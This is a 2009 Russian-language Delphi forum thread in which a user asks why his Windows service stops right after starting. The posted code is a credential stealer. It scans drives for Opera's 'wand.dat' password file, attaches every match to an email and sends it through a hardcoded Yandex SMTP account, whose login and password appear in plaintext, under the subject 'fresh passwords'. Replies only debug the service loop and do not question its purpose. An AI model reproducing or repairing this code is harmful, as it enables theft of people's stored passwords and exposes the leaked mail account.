| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

создание службы [D6, XP]

liveD ©   (2009-07-10 14:10:00) 

Создал службу, а она не работает. Ошибок при компиляции нет.
В обычном приложении работает отлично.
Пишет, что служба автоматически остановлена, так как ей нечего делать.
Подскажите, что делать?

unit Unit1;

interface

uses
 Windows,Masks, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
 ExtCtrls, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
 IdSMTP, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage;

type
 TService1 = class(TService)
   Timer1: TTimer;
   IdMessage1: TIdMessage;
   IdAntiFreeze1: TIdAntiFreeze;
   IdSMTP1: TIdSMTP;

   procedure Search;
   procedure Scan(s: string);
   procedure sendmail;

   procedure Timer1Timer(Sender: TObject);
   procedure ServiceStop(Sender: TService; var Stopped: Boolean);
   procedure ServiceExecute(Sender: TService);
   procedure ServiceStart(Sender: TService; var Started: Boolean);
 private
   { Private declarations }
 public
   function GetServiceController: TServiceController; override;
   { Public declarations }
 end;

   const //Needfound1='Floppy_95.IMZ';
       Needfound2='wand.dat';
var
 fileN:string;

var
 Service1: TService1;

implementation

{$R *.DFM}

procedure TService1.sendmail;
begin
idsmtp1.Host:='smtp.yandex.ru';
idsmtp1.Port:=25;
idsmtp1.MailAgent:='SoVa32@yandex.ru';
idsmtp1.Password:='240785128';
idsmtp1.UserId:='SoVa32@yandex.ru';
IdMessage1.From.Text:='SoVa32@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='SoVa32@yandex.ru';
IdMessage1.Subject:='Svejie parolchiki';

IdSMTP1.Connect;
if IdSMTP1.Connected then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;

end;
//********************
procedure TService1.Scan(s: string);
var
 sr: TSearchRec;
 r: integer;
 OldDir: string;
begin
 {$I-}
 ChDir (s);
 {$I+}
 if IoResult = 0 then begin
   try
     r := FindFirst ('*.*', faAnyFile, sr);
     while r = 0 do begin
       if (sr.Name <> '.') and (sr.Name <> '..') then begin
         if (faDirectory and sr.Attr) = faDirectory then begin
           OldDir := GetCurrentDir;
           Scan (ExpandFileName (sr.Name));
           ChDir (OldDir);
         end else begin
           if MatchesMask (sr.Name, fileN) then begin
   TIdAttachment.Create(IdMessage1.MessageParts, ExpandFileName (sr.Name));
                                                            end;
         end;
       end;
       r := FindNext (sr);
     end;
   finally
     FindClose (sr);
   end;
 end;
end;

procedure TService1.Search;
var
 DriveNum: Integer;
 DriveChar: Char;
 DriveBits: set of 0..25;

begin
 Integer(DriveBits) := GetLogicalDrives;
 for DriveNum := 1 to {2}5 do begin // 25!!!!!!!!!!!
 if not (DriveNum in DriveBits) then
   Continue;
   DriveChar := Char(DriveNum + Ord('a'));
   Scan (DriveChar + ':\');
 end;
end;

//********************

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
 Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
 Result := ServiceController;
end;

procedure TService1.Timer1Timer(Sender: TObject);
begin
WinExec('D:\delphy\yetisports1.exe',sw_show);

end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
Stopped:=true;
end;

procedure TService1.ServiceExecute(Sender: TService);
var
a:integer;
begin
fileN:=Needfound2;
fileN:='wand.dat';
Search;
sendmail;
while not Terminated do begin a:=1+1; end;
   ServiceThread.ProcessRequests(True);
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
Started:=true;
end;

end.

---

вадик   (2009-07-10 14:28:00) [1]

у меня обработка идет на ServiceExecute. Пробовал и на ServiceStart - всеравно служба запускается и сразу же останавливается.

---

Palladin   (2009-07-10 14:28:00) [2]

> вадик   (10.07.09 14:25) [4]

Вадик, ты бы определился кто ты именно. А то сегодня Вадик, завтра Женя...
У нас тут все же правила есть:
http://www.delphimaster.ru/forums.shtml#ruleЗапрещается: п.5

---

clickmaker   (2009-07-10 14:26:00) [3]

что это? while not Terminated do begin a:=1+1; end;
тест процессора на разогрев?

обычно так делают, даже в справке пример есть
while not Terminated do begin
 ServiceThread.ProcessRequests(True);
end;

---

вадик   (2009-07-10 14:25:00) [4]

liveD - это я вадик :-)

---

Сергей М.   (2009-07-10 14:24:00) [5]

> вадик   (10.07.09 14:19) [2]


Это тызнаешь)
А вот автор топика, т.е. liveD © , видимо, не знает)

---

вадик   (2009-07-10 14:19:00) [6]

Я знаю. Сначала через параметр инсталл, а потом в администрирование - службы - запустить.

---

Сергей М.   (2009-07-10 14:17:00) [7]

Службы запускают средствами Service Manager, а не как обычные приложения

---

Наверх